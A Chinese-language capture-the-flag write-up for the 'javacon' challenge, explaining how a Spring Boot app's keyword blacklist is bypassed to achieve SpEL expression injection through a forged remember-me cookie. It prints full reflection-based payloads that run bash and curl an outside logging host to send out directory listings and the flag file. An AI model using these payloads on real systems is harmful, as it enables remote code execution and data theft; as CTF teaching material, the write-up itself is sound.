Code-Breaking Puzzles - javacon WriteUp
刷微博正好看到P神的活動,學習了。
- javacon
- 難度:medium
- 原始碼: ofollow,noindex" target="_blank">https://www.leavesongs.com/media/attachment/2018/11/23/challenge-0.0.1-SNAPSHOT.jar
- URL: http://51.158.75.42:8081/
簡單記錄下jar分析一般步驟:
原始碼下載後,JD-GUI反編譯,或者到IDEA中放進lib便可以檢視反編譯class原始碼。
如果需要除錯,IDEA打斷點後,配置Remote如下


命令啟動
java -Xdebug -Xrunjdwp:transport=dt_socket,address=5005,server=y,suspend=y -jar challenge-0.0.1-SNAPSHOT.jar
再點選IDEA右上角的DEBUG即可。
首先我們可以從SpringBoot的配置 application.yml看起
spring: thymeleaf: encoding: UTF-8 cache: false mode: HTML keywords: blacklist: - java.+lang - Runtime - exec.*\( user: username: admin password: admin rememberMeKey: c0dehack1nghere1
主要就是一個黑名單,一個使用者的提供。
其他檔案 :
SmallEvaluationContext 繼承 StandardEvaluationContext,主要是提供一個上下文環境,相當於一個容器。
ChallengeApplication 用於啟動
Encryptor 加密解密工具類
KeyworkProperties 使用黑名單時需要
UserConfig 使用者模型,可以看到在RemberMe時使用了Encryptor
主要看MainController


我們從登入看起
@PostMapping({"/login"}) public String login(@RequestParam(value = "username",required = true) String username, @RequestParam(value = "password",required = true) String password, @RequestParam(value = "remember-me",required = false) String isRemember, HttpSession session, HttpServletResponse response) { if(this.userConfig.getUsername().contentEquals(username) && this.userConfig.getPassword().contentEquals(password)) { session.setAttribute("username", username); if(isRemember != null && !isRemember.equals("")) { Cookie c = new Cookie("remember-me", this.userConfig.encryptRememberMe()); c.setMaxAge(2592000); response.addCookie(c); } return "redirect:/"; } else { return "redirect:/login-error"; } }
判斷使用者名稱密碼,如果勾選了remberMe則瀏覽器存入加密後的cookie。
最後跳轉hello.html
<h2 th:text="'Hello, ' + ${session.username}"></h2>

開啟頁面後其中比較敏感的一個操作就是對Cookie的處理,如下
@GetMapping public String admin(@CookieValue(value = "remember-me",required = false) String rememberMeValue, HttpSession session, Model model) { if(rememberMeValue != null && !rememberMeValue.equals("")) { String username = this.userConfig.decryptRememberMe(rememberMeValue); if(username != null) { session.setAttribute("username", username); } } Object username = session.getAttribute("username"); if(username != null && !username.toString().equals("")) { model.addAttribute("name", this.getAdvanceValue(username.toString())); return "hello"; } else { return "redirect:/login"; } }
程式判斷rememberMeValue存在後,直接對其進行解密,然後將其 setAttribute
,接下來可以看到 this.getAdvanceValue(username.toString())
我們來看這個方法。
@ExceptionHandler({HttpClientErrorException.class}) @ResponseStatus(HttpStatus.FORBIDDEN) public String handleForbiddenException() { return "forbidden"; } private String getAdvanceValue(String val) { String[] var2 = this.keyworkProperties.getBlacklist(); int var3 = var2.length; for(int var4 = 0; var4 < var3; ++var4) { String keyword = var2[var4]; Matcher matcher = Pattern.compile(keyword, 34).matcher(val); if(matcher.find()) { throw new HttpClientErrorException(HttpStatus.FORBIDDEN); } } ParserContext parserContext = new TemplateParserContext(); Expression exp = this.parser.parseExpression(val, parserContext); SmallEvaluationContext evaluationContext = new SmallEvaluationContext(); return exp.getValue(evaluationContext).toString(); }
其實就是與其跟黑名單做正則匹配,如果匹配成功則丟擲 HttpStatus.FORBIDDEN
,如果沒有匹配到則進行正常流程,在 SmallEvaluationContext
進行SpEL表示式解析。注意,這裡就存在El表示式注入的問題了。
在JAVA中我們可以通過
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator")
來執行命令,但在這個題目中使用了黑名單。
所以這裡我們需要使用反射來構造一條呼叫鏈,這樣就可以在關鍵字處使用字串拼接來達到繞過黑名單的效果。
不熟悉反射的小夥伴可以先學習一下,這裡我直接給出POC 還有一些注意的點。
我們選擇利用curl來配合執行命令,所以如下,字串拼接很好理解,很容易繞過了正則匹配。
String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("exec",String.class).invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime")),"curl http://fg5hme.ceye.io/1aa1k");
執行一下,可以看到我們成功接受到了請求。


接下來我們需要將其構造為SpEl的解析格式,主要就是改一個T() 。在SpEL中,使用T()運算子會呼叫類作用域的方法和常量。
需要注意的一個點,在JAVA中Runtime中exec對複雜一點的linux命令執行不了…我們需要將其引數改成如下才可以
new String[]{"/bin/bash\","-c","xxxxx"}
所以我們構造如下POC 來執行命令並獲取結果,這裡一個小技巧就是使用base64來傳資料。
System.out.println(Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef", "#{T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"/bin/bash\",\"-c\",\"curl fg5hme.ceye.io/`cd / && ls|base64|tr '\\n' '-'`\"})}"));
獲取目錄
之後cat flag,如下,再上上面一樣加密後存入cookie中即可。
#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","curl fg5hme.ceye.io/`cat flag_j4v4_chun|base64|tr '\n' '-'`"})}






最後,師傅們Tql,感謝p神的題目。
